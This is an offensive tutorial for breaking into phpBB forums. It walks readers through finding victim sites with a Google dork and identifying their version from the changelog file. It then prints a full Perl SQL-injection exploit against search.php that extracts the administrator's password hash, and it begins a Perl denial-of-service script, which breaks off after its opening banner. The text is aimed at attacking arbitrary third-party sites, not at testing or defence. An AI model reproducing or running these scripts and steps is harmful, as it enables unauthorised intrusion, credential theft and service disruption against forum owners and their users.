Hack a phpBB forum

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In this little tutorial I will present you how to hack a phpBB v2.x or v3.x and the best exploits,utils etc.. for this :

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1. Search for phpBB Forums

First we have to search a phpBB forum.For this go to www.google.com and tipe "Powered by phpBB"(This is called a Dork).It will result in big ammount of phpBB forums.Chose One and enter.

2. Find out what version its

The second step is to find what version of phpBB is that forum.For that we will use www.site.com/forum/docs/CHANGELOG.html link,where site its the site name.Ex : www.best4you.ro/forum/docs/CHANGELOG.html .

3. Find good exploits

Now that we know the forum version we go to www.milw0rm.com and search for phpBB v2 or v3 depending on what the forum version is.Here i give you some good exploits that if found :

1. phpBB v2 :

1. phpBB Remote Exploit 2.0.x


#!/usr/bin/perl -w
use IO::Socket;


## PROOF-OF-CONCEPT
## * работает только с mysql v>4.0
## * работает только если на форуме не удалено самое первое сообщение
##
## Example:
## C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
## [~] prepare to connect...
## [+] connected
## [~] prepare to send data...
## [+] OK
## [~] wait for response...
## [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
##


if (@ARGV < 4)
{
print "\n\n";
print "|****************************************************************|\n";
print " r57phpbb.pl\n";
print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n";
print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n";
print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n";
print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n";
print " [~] <server> - server ip\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print " [~] <search_id> - play with this value for results\n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}

$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
$search_id = $ARGV[3];
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";
print "[+] connected\n";
print "[~] prepare to send data...\n";
# PROOF-OF-CONCEPT reguest...
print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/* HTTP/1.0\r\n\r\n";
print "[+] OK\n";
print "[~] wait for response...\n";
while ($answer = <$socket>)
{
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
}
}
if ($success==0) {print "[-] exploit failed =(\n";}

## o---[ RusH security team | www.rsteam.ru | 2003 ]---o

2. phpBB 2.0.19 DOS Vulnerability

[code]#!/usr/bin/perl
#######################################
## Recoded by: mix2mix and Elioni of http://ahg-khf.org
## And h4cky0u Security Forums (http://h4cky0u.org)
## Name: phpBBDoSReloaded
## Original Author: HaCkZaTaN of Neo Security Team
## Tested on phpBB 2.0.19 and earlier versions
## Ported to perl by g30rg3_x
## Date: 25/01/06
#######################################
use IO::Socket;

## Initialized X
$x = 0;

print q(
phpBBDosReloaded - Originally NsT-phpBB DoS by HaCkZaTaN
Recoded by Albanian Hackers Group &
h4cky0u Security Forums